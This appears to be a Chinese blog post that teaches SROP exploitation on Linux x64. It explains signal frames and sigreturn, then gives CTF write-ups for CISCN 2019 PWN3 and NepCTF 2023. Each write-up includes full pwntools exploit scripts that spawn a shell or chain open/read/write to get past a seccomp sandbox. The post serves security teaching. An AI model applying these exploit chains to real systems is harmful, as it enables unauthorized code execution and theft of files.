初探srop

文章发布时间:

最后更新时间:

signal 机制
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(str1d3r㉿str1k3Gwindows)-[~]
└─$ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。

内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext
x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
说到这里,其实,SROP 的基本利用原理也就出现了。
获取 shell
首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。
system call chains
需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可控制栈指针。把原来 rip 指向的syscall gadget 换成syscall; ret gadget。这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。
后续 ¶
需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
可以通过栈溢出来控制栈的内容
需要知道相应的地址
“/bin/sh”
Signal Frame
syscall
sigreturn
需要有够大的空间来塞下整个 sigal frame

以上介绍来自CTFwiki
pwntools已集成srop攻击

[CISCN 2019华南]PWN3 #复现环境ubuntu 20.04

1
2
3
4
5
6
7
str1k3@ubuntu:~/Desktop$ checksec '/var/run/vmblock-fuse/blockdir/P0SsCP/pwn3' 
[*] '/var/run/vmblock-fuse/blockdir/P0SsCP/pwn3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护没特别的

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL); //打印出栈地址
}

给了gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:00000000004004D6                               public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 55 push rbp
.text:00000000004004D7 48 89 E5 mov rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:00000000004004E1 C3 retn
.text:00000000004004E1
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00 mov rax, 3Bh ; ';'
.text:00000000004004E9 C3 retn
.text:00000000004004E9
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA 90 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D pop rbp
.text:00000000004004EC C3 retn
.text:00000000004004EC ; } // starts at 4004D6

有mov rax,0xf,显然进行srop
要实现system(“/bin/sh”)首先我们还需要给rdi赋值bin_sh字符串的地址
需要把bin_sh写到栈上 然后利用write函数泄露栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x7fffffffe330
0x7fffffffe330: 0x6161616161616161* 0x000000000040050a
0x7fffffffe340: 0x00007fffffffe360 0x0000000000400536
0x7fffffffe350: 0x00007fffffffe458* 0x0000000100000000
0x7fffffffe360: 0x0000000000000000 0x00007ffff7de8083
0x7fffffffe370: 0x00007ffff7ffc620 0x00007fffffffe458
0x7fffffffe380: 0x0000000100000000 0x000000000040051d
0x7fffffffe390: 0x0000000000400540 0xb0a1866950c4d504
0x7fffffffe3a0: 0x00000000004003e0 0x00007fffffffe450
0x7fffffffe3b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3c0: 0x4f5e79969624d504 0x4f5e69d450aad504
0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3e0: 0x0000000000000000 0x0000000000000001
0x7fffffffe3f0: 0x00007fffffffe458 0x00007fffffffe468
0x7fffffffe400: 0x00007ffff7ffe190 0x0000000000000000
0x7fffffffe410: 0x0000000000000000 0x00000000004003e0
0x7fffffffe420: 0x00007fffffffe450 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x0000000000400409
0x7fffffffe440: 0x00007fffffffe448 0x000000000000001c
0x7fffffffe450: 0x0000000000000001 0x00007fffffffe6d4
0x7fffffffe460: 0x0000000000000000 0x00007fffffffe709

输入的8字节的字母a位于0x7fffffffe330,0x7fffffffe350处有一个0x00007fffffffe458的地址可以泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
#p = process("./pwn3")
p = remote("node1.anna.nssctf.cn",28856)
elf = ELF("./pwn3")

syscall = 0x400501
syscall_ret = 0x400517
gadget = 0x4004DA
vuln = 0x4004ED
#泄露栈地址
p.send(b'a'*0x10+p64(vuln))
p.recv(0x20)
stack = u64(p.recv(6).ljust(8,b'\x00')) -0x118
print("stack -> " + hex(stack))
#srop
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rip = syscall
frame.rsi = 0

payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)
p.send(payload)
p.interactive()

[NepCTF 2023] srop
[NepCTF2023]srop
给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//gcc -no-pie pwn.c -fno-stack-protector -z now -o pwn  -lseccomp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>

char buf[0x30]="welcome to NepCTF2023!\n";

int seccomp(){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
seccomp_load(ctx);
return 0;
}
//沙盒

int sys(){
return 15;
}//syscall

int main(){
char bd[0x30];
seccomp();
syscall(1,1,buf,0x30); //write("welcome to NepCTF2023!\n")
return syscall(0,0,bd,0x300); //read(bd,0x300)
}//主函数

查保护

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/str1k3/Desktop/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
str1k3@ubuntu:~/Desktop$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

沙盒,但是允许了orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> search flag
Searching for value: 'flag'
libc-2.27.so 0x7ffff77d4a3b insb byte ptr [rdi], dx /* 'flags' */
libc-2.27.so 0x7ffff77d7505 insb byte ptr [rdi], dx /* 'flags' */
libc-2.27.so 0x7ffff77d7906 insb byte ptr [rdi], dx /* 'flags' */
libc-2.27.so 0x7ffff79736a0 insb byte ptr [rdi], dx /* 'flags' */
libc-2.27.so 0x7ffff7979b44 insb byte ptr [rdi], dx /* 'flags2 & _IO_FLAGS2_FORTIFY' */
libc-2.27.so 0x7ffff79b0282 'flags is not implemented and will always fail'
warning: Unable to access 16003 bytes of target memory at 0x7ffff79b0286, halting search.
warning: Unable to access 16003 bytes of target memory at 0x7ffff7bd1000, halting search.
ld-2.27.so 0x7ffff7df6421 insb byte ptr [rdi], dx /* 'flag)' */
ld-2.27.so 0x7ffff7df6efe insb byte ptr [rdi], dx /* 'flag value(s) of 0x%x in DT_FLAGS_1.\n' */
ld-2.27.so 0x7ffff7df77d4 insb byte ptr [rdi], dx /* 'flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0' */
ld-2.27.so 0x7ffff7df844e insb byte ptr [rdi], dx /* 'flags_1 & DF_1_NODELETE) == 0' */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# io = process("./pwn")
p = remote("nepctf.1cepeak.cn", 31943)

mov_eax_15 = 0x0000400754 #0x0000000000400754 : mov eax, 0xf ; pop rbp ; ret
buf = 0x00000601050 #.bss:0000000000601050
ret = 0x004007AE #.text:00000000004007AD C9 leave
#.text:00000000004007AE C3 retn
syscall = 0x0004005B0 #.plt:00000000004005B0 ; [00000006 BYTES: COLLAPSED FUNCTION _syscall. PRESS CTRL-NUMPAD+ TO EXPAND]
pop_rdi = 0x0000000000400813 #0x0000000000400813 : pop rdi ; ret
stack = 0x0601a50
#开出一个栈
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 0
frame.rdx = stack-0x8
frame.rcx = 0x1000
frame.rip = syscall
frame.rsp = stack

payload = b"a" * (0x0030+8) + flat([
pop_rdi,
15,
syscall
]) + bytes(frame)


p.send(payload)
sleep(1)
#orw
frame = SigreturnFrame()
frame.rdi = 2
frame.rsi = stack-0x8
frame.rdx = 0
frame.rcx = 0x1000
frame.rip = syscall
frame.rsp = stack + 0x110
payload = b"./flag\x00\x00" + flat([
pop_rdi,
15,
syscall
]) + bytes(frame)

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 3
frame.rdx = stack-0x100
frame.rcx = 0x40
frame.rip = syscall
frame.rsp = stack + 0x110 + 0x110
payload += flat([
pop_rdi,
15,
syscall
]) + bytes(frame)

frame = SigreturnFrame()
frame.rdi = 1
frame.rsi = 1
frame.rdx = stack-0x100
frame.rcx = 0x40
frame.rip = syscall
frame.rsp = stack + 0x110 + 0x110 + 0x110
payload += flat([
pop_rdi,
15,
syscall
]) + bytes(frame)

log.success(f"length {len(payload):#x}")
p.send(payload)

p.interactive()